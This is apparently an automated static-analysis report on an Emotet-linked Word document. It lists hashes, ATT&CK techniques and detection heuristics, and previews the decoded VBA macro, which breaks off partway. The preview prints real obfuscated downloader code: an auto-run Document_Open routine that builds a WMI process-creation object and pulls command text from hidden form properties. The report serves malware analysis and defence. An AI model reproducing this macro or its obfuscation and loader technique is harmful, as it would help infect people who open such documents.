Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a66f06756e1bcfd2…

MALICIOUS

Office (OLE)

232.0 KB Created: 2020-08-18 11:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 80ff2fb0b75f96d9c42f2fa25f388772 SHA-1: 022a870d395c076eba64f3d570048872061b568b SHA-256: a66f06756e1bcfd2ca58a2880b64980bc54b904f9e17451d00933569fbbc4a76
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name further supports this attribution. The VBA code appears to be obfuscated but is designed to execute a payload, likely by downloading it from a remote source.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9373883-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9373883-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10724 bytes
SHA-256: fef4deac94ae22d25db52dcee674cbf4da08910540f602c3a30cae45f2bc0377
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Q67tr1nzrw3tjv7na6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Hxhv3rp3bglk2t.Yjtubi8wm_x_iaauqq
End Sub


Attribute VB_Name = "Hxhv3rp3bglk2t"
Attribute VB_Base = "0{7E8C0EA8-5ADE-4469-B967-8FA86E27189B}{0B6F24B6-259E-4BC3-9B1C-A432C72AD12E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Yjtubi8wm_x_iaauqq()
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 568
Y53g9bs2ddn = 885
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
I2_0tszbog4umo2 = Msbi0btlgcrwbjf
Isb2scd0kdge = Hxhv3rp3bglk2t.HelpContextId + 50 + 50
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 467
Y53g9bs2ddn = 99
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
Jrmidebcaycyq0i = Msbi0btlgcrwbjf
Ykku31i_s6p = ChrW(Isb2scd0kdge + (15))
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 270
Y53g9bs2ddn = 543
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
Lilg2qm1eot = Msbi0btlgcrwbjf
Qeprrodivc8p1 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Ykku31i_s6p + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Hxhv3rp3bglk2t.Ewk_s4uhl8qixw + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 364
Y53g9bs2ddn = 422
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
Cyaqcyofa61psvh = Msbi0btlgcrwbjf
X2hust7gdgv4g7dtyj = Mk6fxm0zbdf2l75i6(Qeprrodivc8p1)
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 954
Y53g9bs2ddn = 157
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
Agotd2d5b4z3jgtyqg = Msbi0btlgcrwbjf
Set Urj_wl6yxxym5dl = CreateObject(X2hust7gdgv4g7dtyj)
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgcrwbjf = 394
Y53g9bs2ddn = 453
Msbi0btlgcrwbjf = Msbi0btlgcrwbjf + Y53g9bs2ddn
Zy6n4yyuz1la = Msbi0btlgcrwbjf
N7zwxc_sxiby = Hxhv3rp3bglk2t.Ld3w7nvexf22__3q.ControlTipText
   For M3tfzu64ahf = 5 To 62
DoEvents
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Debug.Print (CStr(Waksuzej950) & CStr(U2inbs885_8or130x))
Next M3tfzu64ahf
Msbi0btlgc
... (truncated)